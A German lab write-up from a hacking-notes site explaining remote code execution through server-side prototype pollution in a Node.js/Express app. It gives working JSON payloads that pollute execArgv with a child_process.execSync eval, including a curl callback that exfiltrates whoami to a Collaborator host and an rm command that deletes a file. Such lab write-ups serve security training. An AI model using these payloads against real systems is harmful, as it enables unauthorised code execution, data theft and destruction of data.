> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# Remote-Code-Ausführung via serverseitige Prototype Pollution

### Remote Code Execution durch serverseitige Prototype Pollution

#### Laborkontext

* Anwendung basierend auf **Node.js** und das Framework **Express**.
* Schwachstelle: **serverseitige Prototype Pollution** weil die Anwendung eine vom Benutzer gesteuerte Eingabe unsicher in ein serverseitiges JavaScript-Objekt zusammenführt.
* Ziel: Zu verunreinigen `Object.prototype` um Systembefehle einzuschleusen, die dann vom Server ausgeführt werden, dann **löschen** `/home/carlos/morale.txt`.
* Bereitgestellte Verbindung: `wiener:peter` (in diesem Lab haben wir bereits hohe Privilegien und Zugriff auf Admin-Funktionen).

#### Verwundbare Eintrittsstelle: Adressaktualisierung

Die Funktion zum Aktualisieren der Adresse akzeptiert ein JSON. / Es kann Verunreinigung via enthalten `constructor.prototype` (Beweis, dass das Zusammenführen gefährlich ist):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/169c447eb90b7f9f968a332ea1de800ad1efc2fc" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="/files/73be30b4325bda3f71c946292b83698297178859" alt=""><figcaption></figcaption></figure>

#### Funktionalität

Als Administrator, ein **Wartungsjobs ausführen** Schaltfläche ist sichtbar.

Wenn du klickst, führt die Anwendung Aufgaben aus (z. B. Bereinigung) und zeigt an:

* Datenbankbereinigung → erfolgreich
* Dateisystembereinigung → erfolgreich

Der Client sendet ein ähnliches JSON:

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

Und der Server antwortet mit:

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Datenbankbereinigung",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "Dateisystembereinigung",
      "success": true
    }
  ]
}
```

Wichtige Beobachtung: Im Hintergrund scheint es, dass ein Node.js-Prozess diese Aufgaben über einen **Child-/Prozess** Mechanismus.

#### Ausnutzung: Node-Argumente via einschleusen `execArgv`

In Node.js können manche Ausführungen Argumente zur Laufzeit über `execArgv`. / Idee: verunreinigen `Object.prototype.execArgv` um ein `--eval=...` der einen Systembefehl mittels `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

Verwendete Payload (Callback-Test zum Burp Collaborator über `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

Dann lösen wir aus **Wartungsjobs ausführen** um die Anwendung dazu zu zwingen, den Prozess zu starten, der wiederverwendet `execArgv`.

<figure><img src="/files/b1570bdd242099a1b4ba2c3ac4e2ecd8494dd214" alt=""><figcaption></figcaption></figure>

Wir erhalten tatsächlich eine Anfrage beim Collaborator → Ausführung bestätigt.

<figure><img src="/files/da0d8882305ab6b3e53a98ad1fbbbd48412303d0" alt=""><figcaption></figcaption></figure>

#### Kontextüberprüfung: Exfilter `whoami`

Du kannst den Benutzer über eine dynamische Subdomain exfiltrieren:

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

Empfang: `carlos`

<figure><img src="/files/f1fc2a2a35fdb0ca6dd2b8a463cf4cc38bdccc3b" alt=""><figcaption></figcaption></figure>

#### Letzter Schritt: Die angeforderte Datei löschen

Saubere Verunreinigung wird mit dem Löschbefehl gesendet:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

Dann starten wir **Wartungsjobs** um die Ausführung auszulösen.

Erwartetes Ergebnis: `/home/carlos/morale.txt` Datei gelöscht und Lab validiert.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
